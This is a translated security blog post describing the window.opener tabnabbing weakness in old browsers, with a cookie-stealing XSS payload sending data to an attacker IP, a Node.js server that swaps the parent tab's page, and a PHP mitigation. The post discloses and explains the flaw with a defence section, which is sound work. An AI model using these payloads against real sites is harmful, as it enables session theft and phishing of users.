The a tag is not only valuable fur, but also the initialization of window.opener.
In this article, you will find a story about one particular feature of this tag and how to solve the problem.
Introduction
')
It all started less than a year ago. I noticed (found out) that opening a hyperlink in a new window initializes the JavaScript window.opener.
For reference: window.opener gives access to the parent window (to the parent frame), that is, to the window in which window.open () was called.Of course, I immediately began to google, but did not find anything intelligible. Everything would be fine, but if it were not for one “BUT”:
Window.opener is initialized, even if the domains and / or IP addresses are different.
The other day, I sort out the mail and see that I received a message from the Yandex team:

The message about the bug, more precisely about the theoretical application of the attack through window.opener (further wo), was left by me about a month ago, I did not even hope for an answer.
But the world is a strange thing, isn't it? :)
Part 1
From theory to business!
Suppose we have a page into which we can embed a hyperlink.
We will write code that allows us to reproduce this vulnerability.
In this code, the data protocol filtering is specifically omitted. Through a specially crafted link, and by means of wo, we will be able to perform an XSS attack.
For the tests, I took the “big three” browsers: Opera / 12.12, FireFox / 18.00, Chrome / 23.0.1271.97.
Firefox
So, let's transfer the value “data:, 1” to the href attribute of the tag:

After clicking on the hyperlink, we see that wo is initialized:

This means that, perhaps, we have the opportunity to get full access to the parent window.
It remains only to verify this.

Using wo, we successfully accessed the parent window's cookies, but that’s why I don’t know document.cookie = window.opener.document.cookie, honestly. I note that this feature is typical only for FF.
Checked on a VM with XP SP3 and FF 17, the same picture:

It remains only to write exploit, which will use the tag "a", the data and wo protocol, to steal the cookies (and anything else at all).
Payload:
var snif=new Image(), // ck=window.opener.document.cookie, // concat = function() { return Array.prototype.slice.call(arguments).join("")};// +, GET , JavaScript snif.src=concat('http://192.168.1.4:8081/?cok=',ck); // (192.168.1.4- IP )
We transfer this to the host variable (using the data protocol, namely: data: text / html,). Click on the link and admire cookies:

And this is the window into which our code has been implemented:

As you can see, we were able to successfully steal cookies.
Opera
Opera browser is almost the same as with FireFox. So the steps will be the same.
Check if wo is initialized:

Check if we can read cookies:

We see that we were able to successfully read cookies from the previous tab (the parent window).
It remains only to exploit this vulnerability. The payload code will be the same as for FF.
We pass our exploit to the host variable and again we admire cookies:

Window with a link:

So, we were able to successfully steal cookies. Quite a sad situation, but Google Chrome still remains.
Chrome
Check access to wo:

Wo is initialized, but Chrome does not allow us to access the data of the parent window:

Now is the time to look at this vulnerability from a different angle.
And what will happen if the data protocol is filtered?
Let's add in our code the fourth filtering, filtering of the data protocol.
The code will look like:
/*…*/ host=host.replace(/</g,'&'+'lt;'), //antiXSS host=host.replace(/>/g,'&'+'gt;'), //antiXSS host=host.replace(/javascript:/g,''), //antiXSS host=host.replace(/data:/g,''); //Data ! /*…*/
Having made this amendment to the code, we will no longer be able to carry out an XSS attack, but we are able to mislead the user by redefining wo.
Part 2
Now let's transfer, to the host variable, a link to the evil.com website.
Firefox

In FF 18, the wo is successfully initialized, but we cannot penetrate into the previous frame (tab), since the domains are different and the security policy does not allow us to do this.
Opera

The situation with this browser is similar to the situation with FireFox.
Chrome

In Chrome, access to the wo is available, but the security policy cuts our rights to a minimum.

We attack!
Firefox

Override:

Opera

Override wo:

Chrome

Override:

We write exploit
Well, if there is a vulnerability, then it should be exploit :)
var http = require('http'); if(!process.argv[2] || !process.argv[3]){console.log('Usage: node '+process.argv[1]+' ip port');process.exit(1)} http.createServer(function (rq, rs) { rs.writeHead(200, {'Content-Type': 'text/html'}); // , 200 if(!rq.headers.referer){ // Referer rs.end(''); console.log('Referer is undefined!'); process.exit(1); } var host=require('url').parse(rq.headers.referer).hostname; // Referer' var out="<html><script>"+ "window.opener.location='http://"+process.argv[2]+":"+process.argv[3]+"/"+host+".html';"+ // "window.close()"+ // "</script></html>"; rs.end(out); // console.log('Window.opener changed!'); process.exit(1); }).listen(80) // 80
This simple code allows us to replace the site in the parent tab.
I will make a reservation that the redirection will go to the address:
site : port / referer.html. Where "referer" is the meaning of the form site. *
Due to the fact that taking screenshots will be problematic, I recorded a video:
http://www.youtube.com/watch?v=Q09GA9oOEs8Protection
Well, we looked at examples of attacks, but how to defend?
There are two ways to solve it: either forcefully change the value of the target attribute, tag a, to “_self”, or dance with a tambourine, but open the link in a new window. Guess which way we go?
The fix is ​​pretty simple: setting window.opener to null.
Let's write a simple php code that allows you to redefine wo to null and redirect to the specified resource.
<?php $url=str_replace('data:','',$_GET['href']); // "data:" $url=htmlspecialchars(str_replace('javascript:','',$url)); // XSS if(!$url){die();}; echo "<html>"; echo "<body>"; echo "<script>"; echo "window.opener=null;"; // wo null echo "document.location='".$url."';"; // echo "</script>"; echo "</body>"; echo "</html>"; ?>
We can only apply the fix in our code (1).
Suppose that our php file is stored at:
site.com/file.phpThen our code (1) takes the form:
/**/ rs.end('<center><br><a href="http://site.com/file.php?href='+host+'" target="_blank">click-click</a><br>Hey, '+cookie+'! </center>'); /**/
And here is the result of our "shamanism":

Yes, this is an inconvenient way, but I can only offer such a solution at the moment.
If you have ideas, please leave them in your comments.
Misadventure
Among the resources vulnerable to this attack, I can highlight
Google:


Rambler:


The list can be continued indefinitely.
And of course, this information is presented for reference only.
You have no right to use it for attacks, otherwise the Criminal Code of the Russian Federation will punish you!
Have a nice day!
UPD: We are dealing with window.opener in IE 9 (sorry, only it was at hand)
Something is going on with IE 9 ...
For example, there is no data protocol in it.

Therefore, we will try to redefine wo
Click on the link and see that wo was successfully initialized:

Trying to override wo:

Nothing, zero emotion.
But if you open the previous tab, then:

We see that IE recognizes the shift as opening a new window and issues a warning.
And even this is not all!
Resolve the popup window:

Try again to change the location:

The substitution of window.opener not only did not happen, but in general a new window opened.
UPD2 : Youtube blocked video